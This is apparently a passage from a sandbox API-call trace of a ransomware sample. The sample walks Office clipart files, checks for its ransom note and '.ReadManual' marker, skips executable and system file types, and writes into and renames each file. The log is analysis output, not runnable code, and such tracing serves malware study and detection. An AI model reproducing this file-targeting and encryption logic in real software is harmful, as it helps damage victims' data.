lpNewFilePointer=0x0) returned 1 [0265.496] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.498] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.498] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc53a) returned 0x2f0000 [0265.499] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.500] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38616831065) returned 1 [0265.500] CloseHandle (hObject=0x184) returned 1 [0265.500] SetSecurityInfo () returned 0x57 [0265.500] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.500] CloseHandle (hObject=0x194) returned 1 [0265.500] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0265.500] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099166.JPG" | out: lpString1="J0099166.JPG") returned="J0099166.JPG" [0265.500] lstrcmpiW (lpString1="J0099166.JPG", lpString2="RecoveryManual.html") returned -1 [0265.500] StrStrIW (lpFirst="J0099166.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.500] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.500] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.500] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.500] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.500] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.500] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.500] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.500] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.500] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.500] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.500] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.500] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.500] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.500] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.500] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" [0265.500] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.ReadManual.5A595725" [0265.500] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.ReadManual.5A595725") returned 87 [0265.500] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38616925729) returned 1 [0265.501] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 0x20 [0265.501] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.502] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=64767) returned 1 [0265.502] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfcff, lpName=0x0) returned 0x184 [0265.502] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.502] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.503] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.505] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.505] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfcff) returned 0x2f0000 [0265.506] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.507] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38617550580) returned 1 [0265.507] CloseHandle (hObject=0x184) returned 1 [0265.507] SetSecurityInfo () returned 0x57 [0265.507] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.507] CloseHandle (hObject=0x194) returned 1 [0265.507] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0265.507] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099167.JPG" | out: lpString1="J0099167.JPG") returned="J0099167.JPG" [0265.507] lstrcmpiW (lpString1="J0099167.JPG", lpString2="RecoveryManual.html") returned -1 [0265.507] StrStrIW (lpFirst="J0099167.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.507] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.507] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.507] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.507] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.507] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.507] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.507] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.507] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.507] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.507] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.507] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.507] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.508] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.508] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.508] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" [0265.508] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.ReadManual.5A595725" [0265.508] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.ReadManual.5A595725") returned 87 [0265.508] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38617847963) returned 1 [0265.510] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20 [0265.510] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.510] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=43949) returned 1 [0265.510] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xabad, lpName=0x0) returned 0x184 [0265.510] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.511] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.511] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.512] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.513] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xabad) returned 0x2f0000 [0265.514] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.514] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38618259409) returned 1 [0265.514] CloseHandle (hObject=0x184) returned 1 [0265.514] SetSecurityInfo () returned 0x57 [0265.514] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.514] CloseHandle (hObject=0x194) returned 1 [0265.514] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0265.514] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099168.JPG" | out: lpString1="J0099168.JPG") returned="J0099168.JPG" [0265.514] lstrcmpiW (lpString1="J0099168.JPG", lpString2="RecoveryManual.html") returned -1 [0265.514] StrStrIW (lpFirst="J0099168.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.514] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.514] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.514] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.514] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.514] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.514] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.514] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.514] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.515] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.515] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.515] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.515] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.515] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.515] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.515] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" [0265.515] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.ReadManual.5A595725" [0265.515] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.ReadManual.5A595725") returned 87 [0265.515] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38618357284) returned 1 [0265.515] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20 [0265.515] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.515] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20179) returned 1 [0265.515] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ed3, lpName=0x0) returned 0x184 [0265.515] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.517] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.517] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.523] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.524] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ed3) returned 0x2f0000 [0265.524] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.524] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38619264705) returned 1 [0265.524] CloseHandle (hObject=0x184) returned 1 [0265.524] SetSecurityInfo () returned 0x57 [0265.524] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.524] CloseHandle (hObject=0x194) returned 1 [0265.524] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0265.524] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099169.WMF" | out: lpString1="J0099169.WMF") returned="J0099169.WMF" [0265.524] lstrcmpiW (lpString1="J0099169.WMF", lpString2="RecoveryManual.html") returned -1 [0265.524] StrStrIW (lpFirst="J0099169.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.524] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.524] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.524] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.524] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.524] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.524] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.524] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.525] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.525] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.525] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.525] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.525] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.525] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.525] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.525] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" [0265.525] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.ReadManual.5A595725" [0265.525] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.ReadManual.5A595725") returned 87 [0265.525] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38619361350) returned 1 [0265.525] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20 [0265.525] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.525] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10192) returned 1 [0265.525] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27d0, lpName=0x0) returned 0x184 [0265.525] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.526] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.526] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.528] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.528] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27d0) returned 0x2f0000 [0265.528] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.528] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38619676730) returned 1 [0265.528] CloseHandle (hObject=0x184) returned 1 [0265.528] SetSecurityInfo () returned 0x57 [0265.528] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.528] CloseHandle (hObject=0x194) returned 1 [0265.528] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0265.528] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099170.WMF" | out: lpString1="J0099170.WMF") returned="J0099170.WMF" [0265.528] lstrcmpiW (lpString1="J0099170.WMF", lpString2="RecoveryManual.html") returned -1 [0265.528] StrStrIW (lpFirst="J0099170.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.528] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.529] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.529] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" [0265.529] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.ReadManual.5A595725" [0265.529] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.ReadManual.5A595725") returned 87 [0265.529] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38619776851) returned 1 [0265.529] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20 [0265.529] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.529] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24292) returned 1 [0265.529] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ee4, lpName=0x0) returned 0x184 [0265.530] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.530] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.530] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.532] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.532] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5ee4) returned 0x2f0000 [0265.532] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.533] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38620134700) returned 1 [0265.533] CloseHandle (hObject=0x184) returned 1 [0265.533] SetSecurityInfo () returned 0x57 [0265.533] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.533] CloseHandle (hObject=0x194) returned 1 [0265.533] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0265.533] lstrcpyW (in: 